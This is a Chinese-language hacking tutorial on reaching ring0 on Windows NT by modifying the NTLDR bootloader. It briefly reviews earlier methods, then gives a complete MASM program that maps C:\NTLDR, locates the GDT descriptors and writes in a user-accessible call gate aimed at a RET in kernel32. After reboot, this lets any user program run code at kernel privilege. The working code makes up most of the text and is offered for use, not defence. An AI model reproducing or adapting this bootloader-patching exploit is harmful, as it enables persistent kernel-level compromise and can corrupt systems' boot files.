让程序进入ring0级执行
在保护模式下,ring0有至高无上的权限,他一直是很多黑客程序员追求的目标,在NT平台上,MS对系统表格作了保护,不能在象win9x那样,去直接修改系统表格,但是还是有不少办法能够进入ring0的,例如,在国内,最早sinister利用编写驱动程序的方法进入ring0,这也是最通用的方法了,紧跟着WebCrazy又使用读写物理内存的方法来读写GDT所在的物理内存,在GDT上生成自己的调用门来随意进出ring0。后来由MGF提出一种更新的方法,这也就是我要介绍的方法,修改NTLDR。
为什么要修改NTLDR呢,因为windows在启动之时,需要装载GDT上的描述符,而NT的引导程序是NTLDR,那么也就是说描述符可能在NTLDR中,如果我们的假设成立,那么我们就能够在NTLDR中找到系统描述符,好,我们首先来做个实验,用UE打开NTLDR,搜索16进制数ffff 0000 009a cf00(这是GDT上的一个描述符,它的选择子为8h),结果我们搜到了,那么证明想法是对的,在向后看,发现还有不少描述符,哈哈,如果我们在搜索到的描述符区域中空的地方加入自己的调用门和自己的系统描述符,当系统重新启动的时候我们的调用门就会被操作系统装载到内存中,这样我们就有了我们需要的调用门,就可以利用这个调用门自由进出ring0了。这里可能有人要问为什么不用系统选择子08h所对应的描述符,而自己生成自己的选择子和描述符,这是因为我们的调用门所指向的代码一般都在用户区,MS会做检测,如果发现运行在选择子为8h的代码在0x80000000以下,就会认为是非法进入ring0,就会产生异常。下面请看代码
;修改ntldr添加调用门,运行任意ring0代码的例子
.386
.model flat,stdcall
option casemap:none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\user32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\user32.lib
.data
szFileName db 'C:\NTLDR',0
dwAttrib dd 0
hFile dd 0
hMap dd 0
pFile dd 0
dwFileSize dd 0
dwC3Code dd 0
GDTFlag dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh ;GDT中的第一个和第二个描述符
CallGate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh ;调用门和一个自己系统描述符
CallSel dd 0
dw 103h ;调用门的选择子
.code
start:
push offset szFileName
call GetFileAttributes ;得到文件属性
mov edx,eax
inc edx
je ERROR_GETFILEATTRIB ;如果返回错误的话就直接退出
mov dwAttrib,eax ;否则保存文件属性
push 80h
push offset szFileName
call SetFileAttributes ;设置文件属性为一般文件
call FindC3Code ;在kernel32.dll中搜索ret指令
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push offset szFileName
call CreateFileA ;打开文件
mov edx,eax
inc edx
je ERROR_OPENFILE
mov hFile,eax
push 0
push hFile
call GetFileSize
mov dwFileSize,eax ;得到文件大小
push 0
push 0
push 0
push 4
push 0
push hFile
call CreateFileMapping
or eax,eax
je ERROR_FILEMAP
mov hMap,eax
push 0
push 0
push 0
push 6
push eax
call MapViewOfFile ;文件映射到内存
or eax,eax
je ERROR_MAP
mov pFile,eax
mov edi,eax
mov esi,offset GDTFlag
mov ecx,dwFileSize
@@: ;在NTLDR中搜索描述符
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @B
;发现标志后,准备在GDT中搜索一个空间来存放调用门
or ecx,ecx
je ERROR_MAP
xor eax,eax
mov ecx,80h
@@:
sub edi,8
push edi
push ecx
mov ecx,8
repz scasb ;再次确认位置
pop ecx
pop edi
loopnz @B
or ecx,ecx
je ERROR_MAP
add edi,100h
lea esi,CallGate
mov ecx,10h
rep movsb ;写入调用门
mov edx,dwC3Code
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx ;使调用门指向ret的地址
ERROR_MAP:
push pFile
call UnmapViewOfFile
ERROR_FILEMAP:
push hMap
call CloseHandle
ERROR_OPENFILE:
push hFile
call CloseHandle
push dwAttrib
push offset szFileName
call SetFileAttributes ;还原文件属性
ERROR_GETFILEATTRIB:
push 0
call ExitProcess
FindC3Code:
assume fs:nothing
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h] ;eax->kernel32 base address
mov edi,eax
add edi,1000h ;从代码段开始搜索
mov ecx,20000h
mov al,0c3h; 搜索RET指令
repnz scasb
dec edi
mov dwC3Code,edi
ret
end start
这个程序修改NTLDR,在其中GDT的第一个描述符的偏移100h的地方写入自己的一个调用门和一个系统描述符,在重新启动以后,我们的调用门将被加载到GDT中,这样我们就可以自由进出ring0了,另外这个程序的调用门指向kernel32.dll中的一条ret指令,为什么要这么做呢?因为首先来看看使用调用门后cpu都做了那些事,如果有程序使用了调用门,CPU会保存所有的寄存器,其中包括EAX,EBX,ECX,EDX,ESP,CS,DS,ES,FS,SS,EIP等,在转向调用门时,我们先来看看堆栈的结构
EIP
Ring3的esp
….
看到了吧,如果我们在这里执行一条ret指令,就能跳向调用调用门的下一条指令,这样就转回了我们自己的程序中了。